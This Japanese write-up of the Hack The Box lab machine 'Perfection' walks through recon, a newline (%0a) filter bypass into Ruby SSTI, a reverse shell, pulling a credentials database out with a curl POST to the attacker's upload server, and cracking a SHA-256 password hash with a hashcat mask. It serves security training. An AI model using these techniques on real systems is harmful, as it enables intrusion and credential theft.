初めに
本記事は Hack The Box(以下リンク参照) の「Perfection」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
初期探索
ポートスキャン
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.11.253 --top --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.253:22
Open 10.10.11.253:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-12 07:12 EDT
Initiating Ping Scan at 07:12
Scanning 10.10.11.253 [4 ports]
Completed Ping Scan at 07:12, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:12
Completed Parallel DNS resolution of 1 host. at 07:12, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 07:12
Scanning 10.10.11.253 [2 ports]
Discovered open port 22/tcp on 10.10.11.253
Discovered open port 80/tcp on 10.10.11.253
Completed SYN Stealth Scan at 07:12, 0.23s elapsed (2 total ports)
Nmap scan report for 10.10.11.253
Host is up, received echo-reply ttl 63 (0.20s latency).
Scanned at 2024-03-12 07:12:54 EDT for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
22と80番Portが公開されている。
サイト探索
ディレクトリ探索
まずはdirsearch
です。
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://10.10.11.253/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /root/work/reports/http_10.10.11.253/__24-03-12_07-15-44.txt
Target: http://10.10.11.253/
[07:15:44] Starting:
[07:16:04] 200 - 4KB - /about
Task Completed
何もない。
エンドポイント列挙
katana
を使う。
┌──(root㉿kali)-[~/work]
└─# katana -u http://10.10.11.253/
__ __
/ /_____ _/ /____ ____ ___ _
/ '_/ _ / __/ _ / _ \/ _ /
/_/\_\\_,_/\__/\_,_/_//_/\_,_/
projectdiscovery.io
[INF] Current katana version v1.0.5 (latest)
[INF] Started standard crawling for => http://10.10.11.253/
http://10.10.11.253/
http://10.10.11.253/css/lato.css
http://10.10.11.253/
http://10.10.11.253/css/montserrat.css
http://10.10.11.253/about
http://10.10.11.253/weighted-grade
http://10.10.11.253/css/w3.css
http://10.10.11.253/css/font-awesome.min.css
特段いいものがない。
ブラウジング
weighted-grade
の階層に入力できそうなものがあるので入力した。
表示されている!入力値が表示されれば大体SSTIだというメタ思考が脳裏をよぎる...
イニシャルアクセス
SSTI
URL encode
というわけで${7*7}
を送り込む。
ブロックされている表示が出る。
まぁ何か引っかかったのかな?N/A
のURLエンコードされた値N%2fA
は通ってたのでURLエンコードは通るかもしれない。
以下のようにRubyのSSTIをエンコードする。
これもブロックされる。
えぇ...ならちょっと256個試してみるよ。
Burp Intruder
Burpで便利にFuzzingできる機能があるのでこれを利用する。
改行区切りのリストを読み込ませると、それを各ペイロードとしてリクエストの任意の箇所に叩き込める。
そのためのリストを作るのだが、今回はURLエンコードされた文字のどれが通るのか確認したいので%01-%ff
のリストを作成する。
大体Pythonのインタプリタモードで軽く作れるので以下のように作ってみてほしい。
for i in range(256):
print("%" + "{:02x}".format(i))
CTFのPwnをやるとここら辺のエンコードやデコード、16進数の扱いでPythonインタプリタモードを多用するので(個人的に)Pwnを試して力を付けていきましょう!
これをコピペして以下のようにSimple list
に叩き込みます。
実行します。
このように通る場合は通らない場合と違ってレスポンスの長さが違うので通るエンコード文字が分かる。%20
は空白ですね。
%0a
が通ってる。0a
はPwnをやってる人にはsendline()
でおなじみ改行の文字コードです。
実際にレスポンスでも改行されて60%
の部分が見えてます。
もしかしたらmalcious
判定はreadline範囲での検査かもしれないので、改行コードに続けて先ほどのRubyのSSTIのコードを送り込みます。
通ってます。続いてpingをおくってみます。
通ってます!コマンドを打てるので、これはRevshellの出番ですね。
Reverse Shell
いつものrevshellを使います。
作成したRevshellをエンコードします。
叩き込みます。
これでUserフラグゲットデス!
特権昇格
列挙
linpeas
回します。
susan@perfection:/tmp$ ./linpeas.sh
▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄ ▄▄▄ ▄▄▄▄▄ ▄▄▄
▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄ ▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
▀▀▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▀▀
▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀
/---------------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------------|
| Get the latest version : https://github.com/sponsors/carlospolop |
| Follow on Twitter : @hacktricks_live |
| Respect on HTB : SirBroccoli |
|---------------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------------/
linpeas-ng by carlospolop
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's 'permission.
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
LEGEND:
RED/YELLOW: 95% a PE vector
RED: You should take a look to it
LightCyan: Users with console
Blue: Users without console & mounted devs
Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
LightMagenta: Your username
Starting linpeas. Caching Writable Folders...
╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════
╚═══════════════════╝
OS: Linux version 5.15.0-97-generic (buildd@lcy02-amd64-033) (gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #107-Ubuntu SMP Wed Feb 7 13:26:48 UTC 2024
User & Groups: uid=1001(susan) gid=1001(susan) groups=1001(susan),27(sudo)
Hostname: perfection
Writable folder: /dev/shm
[+] /usr/bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (linpeas can discover hosts, scan ports, and forward ports. Learn more with -h)
[+] /usr/bin/nc is available for network discovery & port scanning (linpeas can discover hosts and scan ports, learn more with -h)
Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE
╔════════════════════╗
══════════════════════════════╣ System Information ╠══════════════════════════════
╚════════════════════╝
╔══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits
Linux version 5.15.0-97-generic (buildd@lcy02-amd64-033) (gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #107-Ubuntu SMP Wed Feb 7 13:26:48 UTC 2024
Distributor ID: Ubuntu
Description: Ubuntu 22.04.4 LTS
Release: 22.04
Codename: jammy
...省略
╔══════════╣ Files inside /home/susan (limit 20)
total 48
drwxr-x--- 7 susan susan 4096 Feb 26 09:41 .
drwxr-xr-x 3 root root 4096 Oct 27 10:36 ..
lrwxrwxrwx 1 root root 9 Feb 28 2023 .bash_history -> /dev/null
-rw-r--r-- 1 susan susan 220 Feb 27 2023 .bash_logout
-rw-r--r-- 1 susan susan 3771 Feb 27 2023 .bashrc
drwx------ 2 susan susan 4096 Oct 27 10:36 .cache
drwx------ 3 susan susan 4096 Mar 12 14:10 .gnupg
lrwxrwxrwx 1 root root 9 Feb 28 2023 .lesshst -> /dev/null
drwxrwxr-x 3 susan susan 4096 Oct 27 10:36 .local
drwxr-xr-x 2 root root 4096 Oct 27 10:36 Migration
-rw-r--r-- 1 susan susan 807 Feb 27 2023 .profile
lrwxrwxrwx 1 root root 9 Feb 28 2023 .python_history -> /dev/null
drwxr-xr-x 4 root susan 4096 Oct 27 10:36 ruby_app
lrwxrwxrwx 1 root root 9 May 14 2023 .sqlite_history -> /dev/null
-rw-r--r-- 1 susan susan 0 Oct 27 06:41 .sudo_as_admin_successful
-rw-r----- 1 root susan 33 Mar 12 13:56 user.txt
-rw-r--r-- 1 susan susan 39 Oct 17 12:26 .vimrc
╔══════════╣ Files inside others home (limit 20)
/var/www/html/index.nginx-debian.html
╔══════════╣ Searching installed mail applications
╔══════════╣ Mails (limit 50)
39937 4 -rw-r----- 1 root susan 625 May 14 2023 /var/mail/susan
39937 4 -rw-r----- 1 root susan 625 May 14 2023 /var/spool/mail/susan
ん?sudo
のグループ?
嘘やん。と、とりあえず/var/mail/susan
でも見てみよ。
あ...パスワードの規則っぽいのが書いてる。
和訳してみるか。
なるほどね。
んじゃパスワードクラックの方針かな?
Password Crack
Transfer
ユーザのホーム階層配下のMigration
階層にいかにもなファイルがある。
susan@perfection:~/Migration$ ls -lta
total 16
drwxr-x--- 7 susan susan 4096 Feb 26 09:41 ..
drwxr-xr-x 2 root root 4096 Oct 27 10:36 .
-rw-r--r-- 1 root root 8192 May 14 2023 pupilpath_credentials.db
このdbファイルを転送する。
転送にはuploadserverを利用する。
┌──(root㉿kali)-[~/work]
└─# python -m uploadserver 80
File upload available at /upload
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
BOXに以下のコマンドを叩き込む。
curl -X POST http://10.10.14.14/upload -F 'files=@/home/susan/Migration/pupilpath_credentials.db'
転送出来たらしっかりとハッシュをとり、欠損がないか確認する。
# BOX
susan@perfection:~/Migration$ md5sum pupilpath_credentials.db
71718a36c8b016aab9e37f8c390503ee pupilpath_credentials.db
susan@perfection:~/Migration$
# kali
┌──(root㉿kali)-[~/work]
└─# md5sum pupilpath_credentials.db
71718a36c8b016aab9e37f8c390503ee pupilpath_credentials.db
転送は成功しているようなので、このファイルを確認する。
書いてるわ。hashid
でエンコード種別を見てみる。
┌──(root㉿kali)-[~/work]
└─# hashid abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
Analyzing 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f'
[+] Snefru-256
[+] SHA-256
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94
[+] GOST CryptoPro S-Box
[+] SHA3-256
[+] Skein-256
[+] Skein-512(256)
SHA-256ぽい。後はこのハッシュをhashcatで解析します。
メールのパスワード規則に注意しながら数字の桁数を上げてクラックしていきます。
hashcat
1桁から調べていき、9桁目の?d
を投入してみた。
┌──(root㉿kali)-[~/work]
└─# hashcat -m 1400 -a 3 hash "susan_nasus_?d?d?d?d?d?d?d?d?d"
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-penryn-Intel(R) Core(TM) i7-10700F CPU @ 2.90GHz, 2919/5902 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Brute-Force
susan@perfection:~/Migration$ sudo -l
[sudo] password for susan:
Matching Defaults entries for susan on perfection:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User susan may run the following commands on perfection:
(ALL : ALL) ALL
susan@perfection:~/Migration$
ありゃ、んじゃそのまま...
できてしまいました。Rootフラグゲットデス!
まとめ
これで特権昇格に成功し、Root権限奪取に成功しました。
久しぶりのEasyのWriteupを書きました。サボっててすみません。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。